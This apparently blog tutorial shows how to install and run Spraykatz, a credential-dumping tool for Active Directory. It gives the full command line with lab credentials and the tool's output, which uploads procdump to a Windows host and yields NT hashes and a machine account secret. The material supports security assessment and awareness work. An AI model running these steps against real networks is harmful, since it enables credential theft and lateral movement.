Spraykatz : a fantastic tool for Blueteam or Redteam who want to evaluate lateral movement or privilege escalation weakness on Active Directory environments

Introduction to Spraykatz

As you may know, password hash dump is a very useful method to perform lateral movement or privilege escalation on a network. If you are using Active Directory, this method will be used by a lot of modern malware which include some code pieces from very known security tools like Mimikatz for example.

In this article, we will explorer Spraykatz (v0.9.6) a magnificent tool written by @lydericlefebvre which can help in different situations:

  • BlueTeam: you want to evaluate how much sensible you are in term of password hash dump, and detect if some malwares or attackers can use this method to find some privilege accounts traces on your workstations
  • RedTeam: you want to explore the workstations and find a privilege account to use during your escalation
  • Security Officer, CISO: you want to demonstrate to your internal people how malware can use password hashes in order to educate your people about security issues

Spraykatz is a tool able to retrieve credentials on Windows machines and large Active Directory environments. It simply tries to procdump machines and parse dumps remotely in order to avoid detections by antivirus softwares as much as possible.

Spraykatz uses slighlty modified parts of the following projects:

  • Mimikatz
  • Impacket
  • Pypykatz
  • Pywerview
  • Sysinternals
  • hackndo

How to install Spraykatz

For this article I was using a Kali distro, but you can use ubuntu as well (I tested it on both distros and worked like a charm).

Let’s be root:

sudo su

Get information about your system updates and update the index file for future updates:

root@kali:~# apt update

Reading package lists… Done

Building dependency tree

Reading state information… Done

All packages are up to date.

Ok, here I already have everything updated on my Kali system.

If you don’t have already the last version of python, git and nmap, update it:

root@kali:/tmp/mimipenguin-master# apt install -y python3.6 python3-pip git nmap

Reading package lists… Done

Building dependency tree

Reading state information… Done

Note, selecting ‘python3.6-cups’ for regex ‘python3.6’

Note, selecting ‘python3.6-cairo’ for regex ‘python3.6’

Note, selecting ‘python3.6-2to3’ for regex ‘python3.6’

Note, selecting ‘python3.6-urwid’ for regex ‘python3.6’

Note, selecting ‘python3.6-smbc’ for regex ‘python3.6’

Note, selecting ‘libpython3.6-stdlib’ for regex ‘python3.6’

Note, selecting ‘python3.6-crypto’ for regex ‘python3.6’

Note, selecting ‘python3-cairo’ instead of ‘python3.6-cairo’

Note, selecting ‘python3-crypto’ instead of ‘python3.6-crypto’

Note, selecting ‘python3-cups’ instead of ‘python3.6-cups’

Note, selecting ‘python3-smbc’ instead of ‘python3.6-smbc’

Note, selecting ‘python3-urwid’ instead of ‘python3.6-urwid’

git is already the newest version (1:2.20.1-2).

git set to manually installed.

nmap is already the newest version (7.70+dfsg1-6kali1).

nmap set to manually installed.

python3-cairo is already the newest version (1.16.2-1+b1).

python3-crypto is already the newest version (2.6.1-9+b1).

python3-cups is already the newest version (1.9.73-2+b1).

python3-pip is already the newest version (18.1-5).

python3-smbc is already the newest version (1.0.15.6-1+b2).

python3-urwid is already the newest version (2.0.1-2+b1).

0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Ok, here I already have everything updated on my Kali system.

Now, our system is ready to install Spraykatz from Github:

root@kali:~# git clone –recurse-submodules https://github.com/aas-n/spraykatz.git

Cloning into ‘spraykatz’…

remote: Enumerating objects: 29, done.

remote: Counting objects: 100% (29/29), done.

remote: Compressing objects: 100% (27/27), done.

remote: Total 383 (delta 8), reused 5 (delta 1), pack-reused 354

Receiving objects: 100% (383/383), 21.51 MiB | 761.00 KiB/s, done.

Resolving deltas: 100% (207/207), done.

Submodule ‘submodules/impacket’ (https://github.com/SecureAuthCorp/impacket.git) registered for path ‘submodules/impacket’

Cloning into ‘/root/spraykatz/submodules/impacket’…

remote: Enumerating objects: 17060, done.

remote: Total 17060 (delta 0), reused 0 (delta 0), pack-reused 17060

Receiving objects: 100% (17060/17060), 5.64 MiB | 824.00 KiB/s, done.

Resolving deltas: 100% (13026/13026), done.

Submodule path ‘submodules/impacket’: checked out ‘d6b5bd4e2f3fe3e9fa252dcd2a1dd76faa0c5395’

Now Spraykatz is cloned on your system.

Go to the Spraykatz folder:

root@kali:~# cd spraykatz

And use pip to install packages from the index (requirements.txt):

root@kali:~/spraykatz# pip3 install -r requirements.txt

Requirement already satisfied: pyCryptodomex in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (3.6.1)

Requirement already satisfied: pyasn1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (0.4.2)

Requirement already satisfied: pyOpenSSL in /usr/lib/python3/dist-packages (from -r requirements.txt (line 3)) (19.0.0)

Collecting pypykatz>=0.3.0 (from -r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/68/4a/2436e462a7c9ad3df263f5b14998b664bdc62f2d4352af142b5defafeada/pypykatz-0.3.2-py3-none-any.whl (271kB)

100% |████████████████████████████████| 276kB 749kB/s

Requirement already satisfied: lxml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 5)) (4.3.2)

Collecting minidump>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/6b/4e/ae61bddb6d5ada7ee0e718d08b697a58aba66bdd1428b83e06c5ba914579/minidump-0.0.11-py3-none-any.whl (62kB)

100% |████████████████████████████████| 71kB 1.3MB/s

Collecting minikerberos>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/ae/87/0063d15dcb43a7a0746f57c69dfc1ee86b0608728d40d3791f06fa8b046a/minikerberos-0.0.11-py3-none-any.whl (96kB)

100% |████████████████████████████████| 102kB 402kB/s

Collecting msldap>=0.1.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/9d/5b/a8d65a7a8aa047f0312b0cda890ab06a64c5d3f364374c1603af2acebb95/msldap-0.2.5-py3-none-any.whl (40kB)

100% |████████████████████████████████| 40kB 1.1MB/s

Collecting aiowinreg>=0.0.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/59/25/31cd1c57c8322e1e88d246d923bb00a88e326722c238b3a466d411d73fd4/aiowinreg-0.0.2-py3-none-any.whl

Collecting winsspi>=0.0.3 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/65/fe/5aa78fe5983f9203cca9453c771711cfe6eafc91870cab7294f201d5d0a8/winsspi-0.0.3-py3-none-any.whl

Requirement already satisfied: asn1crypto in /usr/lib/python3/dist-packages (from minikerberos>=0.0.11->pypykatz>=0.3.0->-r requirements.txt (line 4)) (0.24.0)

Collecting asciitree (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/2d/6a/885bc91484e1aa8f618f6f0228d76d0e67000b0fdd6090673b777e311913/asciitree-0.3.3.tar.gz

Collecting socks5line>=0.0.3 (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/2f/51/9b64da14e5bddb19abd8fd9a0d7c9b564b0e860ae5c52f8090af6dbfa02a/socks5line-0.0.3-py3-none-any.whl

Collecting aiocmd (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/a7/d7/1237391649ab4d86a6d5520361727e938b4ec47df834e688189dd83642bf/aiocmd-0.1.2-py3-none-any.whl

Requirement already satisfied: ldap3<2.5.2 in /usr/lib/python3/dist-packages (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4)) (2.5.1)

Collecting prompt-toolkit>=2.0.9 (from aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/7f/1f/e145dd467dc9b0e6f1e64232c03119498dfec497e383f1e8be9f83eaa97e/prompt_toolkit-3.0.2-py3-none-any.whl (344kB)

100% |████████████████████████████████| 348kB 711kB/s

Collecting wcwidth (from prompt-toolkit>=2.0.9->aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/7e/9f/526a6947247599b084ee5232e4f9190a38f398d7300d866af3ab571a5bfe/wcwidth-0.1.7-py2.py3-none-any.whl

Building wheels for collected packages: asciitree

Running setup.py bdist_wheel for asciitree … done

Stored in directory: /root/.cache/pip/wheels/1d/d9/58/9808b306744df0208fccc640d3d9952a5bc7468502d42897d5

Successfully built asciitree

Installing collected packages: minidump, minikerberos, asciitree, socks5line, wcwidth, prompt-toolkit, aiocmd, msldap, aiowinreg, winsspi, pypykatz

Successfully installed aiocmd-0.1.2 aiowinreg-0.0.2 asciitree-0.3.3 minidump-0.0.11 minikerberos-0.0.11 msldap-0.2.5 prompt-toolkit-3.0.2 pypykatz-0.3.2 socks5line-0.0.3 wcwidth-0.1.7 winsspi-0.0.3

Now Spraykatz is fully installed!

How to use Spraykatz

Spraykatz is very simple to use. To use it, you will need to determine:

  • Which account to use to perform the exploration – here you need to use privilege account (i.e local Admin privilege) on the target system, you may had discovered this type of account from different methods, or even worse, the company is providing regular user accounts which are local Admin on the workstation.
  • Which machine or which machines range you want to target.

In this document example, we will use the following settings:

  • Active Directory domain: win2019.priv
  • Account which has local Admin privilege on the target computer: dark
  • Account password: demo_spraykatz
  • Target computer: 10.0.0.201
root@kali:~/spraykatz# ./spraykatz.py -u dark@win2019.priv -p demo_spraykatz -t 10.0.0.201


[#] Hey, did you read the code?

[+] Listing targetable machines into networks provided. Can take a while…

[+] Checking local admin access on targets…

[~] 10.0.0.201 is pwnable!

[+] Exec procdump on targets. Be patients…

[~] ProcDumping 10.0.0.201. Be patient…

[#] Uploading procdump to 10.0.0.201…

[#] Executing procdump on 10.0.0.201…

[#] Creating dump’s file descriptor on 10.0.0.201…

[#] Parsing 10.0.0.201’s dump remotely…

         machine: 10.0.0.201

         domain: WIN10CLI02

        username: blackhat

         nthash: 329153f560eb329c0e1deea55e88a1e9

         machine: 10.0.0.201

         domain: WIN2019

        username: WIN10CLI02$

         nthash: fcdc607666845acba172b460939f8fa9

         machine: 10.0.0.201

         domain: win2019.priv

        username: WIN10CLI02$

        password: 31d47f5578cd912fd4e6d88a1bc86be46d7d37c2ffd05251b1c98cdd77e71cc37f08504087f18e572162655604adac497b156fdcb9b20b56f0ec5fe3c64b42b96cfbf6e26b5e8017d215479a2d456cf902e36ddad8dae64319f3d9fa79c1dee884c887834af056e459bf3ce3094dad4e1004985518b112e4dbfe24b4eb90a37248d71ef3a79507f4ad68d4b1a233c19448a56f06763079405b08d6e300a5a4e9eb11dc219ca52c5d3edead8fd1ef3ee7b211cbf6af66cc45ed6f090e4f1eb7968cf5cfffdbe06e919440b51056b5586869fefea7296a4c437c2faf240b90f86a4ebdf450fd2b8990061fd58abeef6e76

         machine: 10.0.0.201

         domain: WIN2019

        username: han

         nthash: 329153f560eb329c0e1deea55e88a1e9

         machine: 10.0.0.201

         domain: WIN2019

        username: root

         nthash: 329153f560eb329c0e1deea55e88a1e9

[#] Closing dump file on 10.0.0.201…

[#] Deleting procdump on 10.0.0.201…

[#] Deleting dump on 10.0.0.201…

[+] Credentials logged into: /root/spraykatz/misc/results/creds.txt

[+] Exiting Gracefully…

On the target system, we can retrieve the nthash for the following accounts:

  • Users accounts who already opened a session on the target system:

  • Computer account for the target system:

These are some additional information about how to use SprayKatz:

  • Mandatory arguments

  • Optional arguments

Spraykatz usefull information

Download page from GitHub

GitHub page: https://github.com/aas-n/spraykatz

Author Twitter account

https://twitter.com/lydericlefebvre